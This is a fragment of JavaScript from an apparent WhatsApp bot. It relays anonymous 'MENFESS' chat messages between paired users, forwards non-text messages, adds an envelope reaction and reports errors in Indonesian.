if (cekChat("teman", sender) == false) return
try {
if (type == "conversation" || type ==
"extendedTextMessage") {
try {
var chat_anonymous =
msg.message.extendedTextMessage.text
}
catch (err) {
var chat_anonymous = msg.message.conversation
}
let text_nya_menfes = `*MENFESS CHAT*
💬 : ${chat_anonymous}`
await dark.sendMessage(cekChat("teman", sender),
{ text: text_nya_menfes })
await sleep(2000)
dark.sendMessage(from, { react: { text: `📩`, key:
m.key } }, { quoted: m })
}
else {
await dark.sendMessage(cekChat("teman", sender),
{ forward: m })
await sleep(2000)
dark.sendMessage(from, { react: { text: `📩`, key:
m.key } }, { quoted: m })
}
} catch (err) {
return
}
}
} catch (err) {
dark.sendMessage(m.key.remoteJid, { text: `*[TERJADI ERROR]*\n${err}` },
{ quoted: m })
}
}